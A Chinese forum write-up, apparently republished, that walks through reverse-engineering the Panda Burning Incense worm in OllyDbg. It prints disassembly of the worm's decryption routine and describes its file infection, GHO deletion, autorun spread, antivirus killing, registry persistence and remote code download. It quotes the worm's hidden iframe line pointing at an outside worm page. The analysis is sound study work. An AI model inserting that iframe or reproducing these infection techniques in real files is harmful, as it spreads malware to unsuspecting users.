查看原文
其他

熊猫烧香病毒逆向过程及其分析思路

码小芹 看雪学院 2021-03-07

本文为看雪论坛优秀文章

看雪论坛作者ID:码小芹





前言


最近学校通知不开学,网课也不想上。学习逆向也有段时间了,就想着找点东西练一下水平不高。找了个病毒分析一比较经典的病毒分析。

我看网上有很多关于熊猫烧香病毒的分析,但都是侧重于对病毒功能以及影响的总结,具体分析方法并未提及。

本文主要侧重于对熊猫烧香病毒逆向分析过程中的思路和方法的分享。





基本信息






动态分析


分析工具以及环境


ODPEIDVMware xp虚拟机

详细分析过程与思路


1. 查看文件基本信息


在虚拟机中用 PEID 打开病毒样本文件发现其无壳并且是 Delphi 编写的,Delphi 编译器编译的程序有几个特点。

第一: 其函数默认调用约定为 Register,特点为函数参数是通过寄存器传入的。

第二: 一般 Delphi 其字符串存储地址的负偏移一个 dword 长度处,存放字符串的长度。


2. 打开OD载入病毒样本文件


来到程序入口点后我们进行进一步分析,我们看到入口点处有 函数① 和 函数②,其中函数②连续调用了三次。我们 F8 向下执行,并分别进入两个函数分析其功能。



进入函数①我们发现其主要功能就是调用 GetModuleHandleA() 获得程序基地址(及程序实例句柄)。


向下继续分析函数②,在调用函数②时我们发现其传入了两个参数,我们在数据窗口中分析发现参数有一个为一串字符串:“ ***武*汉*男*生*感*染*下*载*者*** ".。

我们 F7 进入函数内部分析发现其就是将 eax 参数地址下的字符串进行复制。


所以我们知道了这三个参数是字符串复制函数,F8 向下步过这些函数后。他们把字符串都复制到了一块连续的内存中。我们可以在数据窗口中观察这些字符的内容。



我们接着往下分析,发现两段相同的代码段,只是参数不同。也就是当程序执行完函数0x405360函数0x404018后,如果 je 不成立则结束进程(猜测应该为病毒程序的自效验部分)。

我们分别进入两个函数分析。



我们先分析函数0x405360,函数的两个参数分别指向两个字符串一个是“xboy”,另一个如下。

将这连个字符串经过如下算法加密后得到一个字符串为“ ***武*汉*男*生*感*染*下*载*者*** "存到0x009000c0地址处。


00405360 /$ 55 push ebp00405361 |. 8BEC mov ebp,esp00405363 |. 83C4 E8 add esp,-0x1800405366 |. 53 push ebx00405367 |. 56 push esi00405368 |. 57 push edi00405369 |. 33DB xor ebx,ebx0040536B |. 895D E8 mov [local.6],ebx0040536E |. 895D F0 mov [local.4],ebx00405371 |. 895D EC mov [local.5],ebx00405374 |. 894D F4 mov [local.3],ecx00405377 |. 8955 F8 mov [local.2],edx0040537A |. 8945 FC mov [local.1],eax0040537D |. 8B45 FC mov eax,[local.1]00405380 |. E8 37EDFFFF call 004040BC00405385 |. 8B45 F8 mov eax,[local.2]00405388 |. E8 2FEDFFFF call 004040BC0040538D |. 33C0 xor eax,eax0040538F |. 55 push ebp00405390 |. 68 4A544000 push 0x40544A00405395 |. 64:FF30 push dword ptr fs:[eax]00405398 |. 64:8920 mov dword ptr fs:[eax],esp0040539B |. 837D FC 00 cmp [local.1],0x00040539F |. 75 0A jnz X004053AB004053A1 |. 8B45 F4 mov eax,[local.3]004053A4 |. E8 9BE8FFFF call 00403C44004053A9 |. EB 77 jmp X00405422004053AB |> 8D45 EC lea eax,[local.5]004053AE |. 8B55 F8 mov edx,[local.2]004053B1 |. E8 26E9FFFF call 00403CDC004053B6 |. 8D45 F0 lea eax,[local.4]004053B9 |. E8 86E8FFFF call 00403C44004053BE |. 8B45 FC mov eax,[local.1]004053C1 |. E8 06EBFFFF call 00403ECC ; strlen(字符串1)004053C6 |. 8BF0 mov esi,eax ; esi = eax004053C8 |. 85F6 test esi,esi ; if(esi == 0)004053CA |. 7E 4B jle X00405417 ; break004053CC |. BB 01000000 mov ebx,0x1 ; ebx = 1004053D1 |> 8B45 EC /mov eax,[local.5] ; do{004053D4 |. E8 F3EAFFFF |call 00403ECC ; strlen(字符串2)004053D9 |. 50 |push eax004053DA |. 8BC3 |mov eax,ebx ; eax = ebx004053DC |. 5A |pop edx ; edx = eax004053DD |. 8BCA |mov ecx,edx ; ecx = edx004053DF |. 99 |cdq004053E0 |. F7F9 |idiv ecx ; edx = eax % ecx004053E2 |. 8BFA |mov edi,edx ; edi = edx004053E4 |. 47 |inc edi ; edi++004053E5 |. 8B45 EC |mov eax,[local.5]004053E8 |. 0FB64438 FF |movzx eax,byte ptr ds:[eax+edi-0x1] ; eax = str1[edi - 1]004053ED |. B9 0A000000 |mov ecx,0xA ; ecx = 10004053F2 |. 33D2 |xor edx,edx ; edx = 0004053F4 |. F7F1 |div ecx ; edx = eax % ecx004053F6 |. 8B45 FC |mov eax,[local.1]004053F9 |. 0FB64418 FF |movzx eax,byte ptr ds:[eax+ebx-0x1] ; eax = str2[edi - 1]004053FE |. 33D0 |xor edx,eax ; edx = edx ^ eax00405400 |. 8D45 E8 |lea eax,[local.6]00405403 |. E8 24EAFFFF |call 00403E2C ; eax[ebx] = edx00405408 |. 8B55 E8 |mov edx,[local.6]0040540B |. 8D45 F0 |lea eax,[local.4]0040540E |. E8 C1EAFFFF |call 00403ED400405413 |. 43 |inc ebx ; ebx++00405414 |. 4E |dec esi ; esi--00405415 |.^ 75 BA \jnz X004053D1 ; }00405417 |> 8B45 F4 mov eax,[local.3]0040541A |. 8B55 F0 mov edx,[local.4]

我们接着分析函数0x404018,我们发现其是比较两个参数 eax 所指向的字符串和edx所指向的字符串是否相等,而此时eax指向的字符串刚好是加密函数0x405360所产生的在0x009000c0地址下的字符串。

而 edx 指向的地址0x0090000c地址下的字符串也刚好为此字符串,二者相当。所以不会结束进程。




现在我们知道了函数0x405360是一个加密函数,而函数0x404018是一个字符串比较函数。从而判断源文件是否被修改。

一共有两处这种判断,我们继续往下动态分析得,第二处是将字符串“whboy”与如下字符串经过函数0x405360加密后得到第二张图中的字符串。




程序通过这两处自效验过程后,继续运行我们继续向下分析发现程序在调用三个函数之后就会进入消息循环,所以我们可以得知这三个函数是这个病毒的主要功能。


第一个函数:

我们F7进入第一个函数,然后我们通过动态调试进入每一个 Call 分析其功能,最后分析如下。

其会先调用GetMoudleFileNameA( )函数获得程序完整路径,然后在完整路径的基础上去掉程序名得到一个字符串后与 Desktep.ini 连接。并通过FindFirstFileA( )函数寻找此文件。

如果找到了则删除此文件,否则跳过继续执行。


我们继续往下分析,其会调用 ReadFile() 把自己读到内存中,然后调用GetFileSize() 获得文件的大小接着其会判断文件的最后一个字节是不是等于1,意思是等于1就证明其被感染文件随之去执行上方一部分代码块,否则则继续执行。


接着往下分析,程序会会获取系统路径并与 drivers 和 spcolsv.exe 连接成路径并与程序自身路径比较,看是否相等,相等则会跳转。



因为程序路径与此路径不匹配,所以其不会跳转。接下来程序会利用OpenProcrss()函数来提成程序的权限,然后会调用CopyFile()函数把自身复制一份到系统路径的drivers文件夹下,并命名为spcolsv.exe. 创建完之后程序会调用WinExec( )运行此程序,并结束进程。


如此我们知道了,panda.exe 主要是为了在系统目录的 driver 文件夹下创建病毒的副本 spcolsv.exe 文件并运行它。这样其在上方判断路径是否相等时就会成立,从而使程序继续往下执行。

接下来我们可以恢复虚拟机的初始快照,并再次分析病毒样本,当我们运行来到路径判断处时我们只要把 ZF 置为 0,即可让程序认为自己就是系统目录drivers 文件夹下的 spcolsv.exe 程序了,接着我们就可以继续往下分析了。
 

接着分析后我们第一个函数运行返回了。我们紧接着可以分析第二个功能函数了。


第二个函数:

我们 F7 进入第二个函数后发现其调用了3个函数后返回,那我们就一个一个分析。


我们 F7 继续进入第一个函数后,返现此函数仅仅调用了 CreateThread( ) 创建了一个线程。线程函数为0x0040A6C8函数,我们可以在此函数入口处下断点



我们这里使用一个技巧来完成多线程的调试,那就是我们可以在运行完此函数返回后直接跳过后两个函数,这样第二个功能函数返回后,我们也不执行第三个功能函数,直接让程序进入消息循环。

这样一来方便我们调试此线程。当程序返回消息循环后我们 F9 运行程序,这是那个新创建的线程已经启动,并且程序断在了我们设置的线程函数入口断点处。


接着我们反汇编查看 0x004076b4 函数,发现其调用了 GetDriveType( )。我们 F7 进入动态调试,我们发现其会从A遍历到Z盘,把存在的盘符保存到0x9c0160 地址处。


接着会把存在的盘符与“:\”连接在一起。接着会调用0x4094a4函数,反汇编查看此函数时发现可疑。我们 F7 进入,进一步分析。
 

进一步分析我们发现其会把刚才找到存在的盘符与“%20*.*%20”连接后,调用%20FindFirstFileA( )寻找任意文件,如果找不到文件就跳转结束。(因为此时肯定有文件,所以 F8 运行其一定不会跳转,接着我们进一步往下分析)



当前寻找到文件后就会获得其扩展名,然后与“GHO”做比较,如果后缀等于“GHO”的文件统统调用 DeleteFile( ) 删除(GHO文件时系统备份文件,其是防止系统恢复)。


然后其又会比较找到的文件是否为 setup.exe 或者 NTDETECT.COM,如果为这两个文件的话则直接去寻找下一个文件,不做任何操作。


如果不是上述两个文件则继续判断文件的后缀,如果是 exe,scr,pif,com 文件则调用0x0040800函数,如果是 htm,html,asp,php,jsp,aspx 文件的话则会调用0x00407adc函数。
 

我们这里在这里判断是否为 exe 文件处下断点,运行程序后当寻找到磁盘中的 cmdline.exe 文件后其会进入第一类函数中进行感染文件,我们 F7 进入后会分析。

其会先拍摄进程快照去寻找待感染的文件是否运行,如果已运行则放弃感染。
 

接着会判断查找到的文件是否为正在运行的程序,如果相等则直接返回。
 

接着其会把寻找的到的 exe 文件读到内存中,并且设置文件属性。


然后会将正在运行的病毒样本文件复制为待感染的 exe 文件。这样一来现在此 exe 文件现在就是病毒文件了。


然后往下通过动态分析得:其会获得原文件的大小然后和文件名与字符 whboy 连接在一起并以1结尾,构成一段字符串。然后一次在病毒程序后追加写入原文件和上述标志信息。

得感染后的文件组成为:


接着我们利用上述思路分析0x00407adc函数得出,其是通过将主要将字符串“\<iframe src=http://www.krvkr.com/worm.htm width=0 height=0>\</iframe>”添加到文件末尾而感染网络文件的。

分析完第二功能函数的第一个函数后,我们接着去分析第二个函数。我们从新加载程序,并且我们直接设eip为第二个功能函数的第二个函数。这样便于分析,不会受到前面函数的影响。
 

F7 进入此函数后发现设置了一个计时器,那么我们为了方便分析此计时器回调函数干了什么,我们同样先在计时器回调函数处下断点,然后在执行完此函数后直接返回到消息循环中。

运行程序,发现程序会停在此计时器回调函数中。


我们往下分析此函数,其会先在已存在的盘的根目录下寻找 setup.exe 文件与 autorun.inf 文件。然后如果没有寻找到此文件就跳转。
 


跟着跳转后,其会把正在运行的病毒文件复制为 c:\setup.exe。



随后又创建 c:\autorun.inf文件。



往文件中写入一下内容后,将 setup.exe 与 autorun.inf 的属性设为隐藏。





此函数到此就分析结束了。

紧接着我们在分析第二个功能函数的最后一个函数,同样我们重新载入程序,并且直接来到此函数处,不运行前面那几个功能函数。



F7 进入此函数,发现其会创建线程,而且是循环创建10次。


为了便于对此线程回调函数的分析,我们在其执行一次创建后就让其返回到消息循环中。


并在线程回调函数处下断点,运行程序将会断在此断点处。

 

程序停到此线程回调函数入口点后,我们进一步分析。发现此函数会通过端口139和端口445进行区域网传播。


这样此函数就分析完了,到此为止我们把前两个功能函数已经分析完了,下面分析第三个功能函数

第三个函数:

我们还是重新载入程序后,直接设置 eip 来到第三个功能函数处。然后我们F7 进入函数后发现其主要功能就是设置了4个计时器。通过四个计时器回调函数来完成具体的功能。


我们还是采用以前的思路,在其计时器回调函数处下断点后我们运行完一个计时器设置函数后直接来到消息循环处。

但是我们要注意其有的计时器设置得时间周期较长,我们可以在调用时把时间周期参数改小点。

1. 第一个计时器回调函数

进入函数后我们发现函数调用了0x00406f3c函数,进入后发现是创建了一个线程。我们在线程回调函数处下断点并采用老方法来到断点处。


来到断点处我们发现其共有3种操作。


一是遍历杀毒软件并关闭:



二是设置特权:


三是关闭任务管理器等一些程序:



分析完线程函数后我们回到主线程继续分析其调用RegCreatekeyExA()---->RegSetValaueExA%20%20%20%20---->%20%20%20RegCloseKey()来设置两个启动项,第一个是用来在开机时自动启动病毒。另一个是设置使用户无法查看隐藏文件。



2. 第二个计时器回调函数

接着重新载入程序来到第二个计时器回调函数处。我们在调用第二个计时器设置函数时我们应把其时间周期参数该小点,改为1000(1s)。然后再分析运行程序。


程序来到计时器回调函数中,发现函数实际是创建了一个线程。我们还采用直接在此线程回调函数处下断点,然后我们运行程序。



我们运行程序后,程序会停在线程回调函数的断点处。接下来我们就可以对此线程回调函数进一步分析。

我们发现其会先调用0x40c728函数将一段密文与“xboy”进行一定的运算,算法和文件自效验时用的一样。最后得到一个网址:


接下来其会调用函数0x40c81c,反汇编查看发现可疑,我们 F7 进入分析。

发现其实际是从刚才产生的那个网址上试图从网站读取到网页源代码并且运行代码。

3. 第三个计时器回调函数

当程序停在第三个计时回调函数处时,我们发现其创建了两个线程。


我们反汇编查看第二个线程的回调函数发现其利用 cmd 命令删除了共享文件。


4. 第四个计时器回调函数

来到第四个计时器回调函数后发现其创建了一个线程:


我们在线程回调函数下断点,运行程序来到回调函数处。我们发现此回调函数主要是删除一些服务和杀毒软件得启动项(瑞星了什么的)。
 





总结


该文就是我在分析病毒时的思路,没用 IDA 就是想锻炼锻炼反汇编代码的能力。动态调试结合 IDA 会更方便分析。

第一次分析病毒如有不对的地方还请路过的大牛指点。




- End -




看雪ID:码小芹

https://bbs.pediy.com/user-861998.htm

  *本文由看雪论坛 码小芹 原创,转载请注明来自看雪社区。




推荐文章++++

* 逆向学习sgavmp篇

* 2020网鼎杯 青龙组 Android逆向题 rev01 WP

* Youpk: 又一款基于ART的主动调用的脱壳机

* 新手系列教程——用bfinject脱壳、注入自己的动态framework、cycript的使用

* 新手教程——按键精灵脚本来模拟合成灯笼



好书推荐







公众号ID:ikanxue
官方微博:看雪安全
商务合作:wsc@kanxue.com



“阅读原文”一起来充电吧!

    您可能也对以下帖子感兴趣

    文章有问题?点此查看未经处理的缓存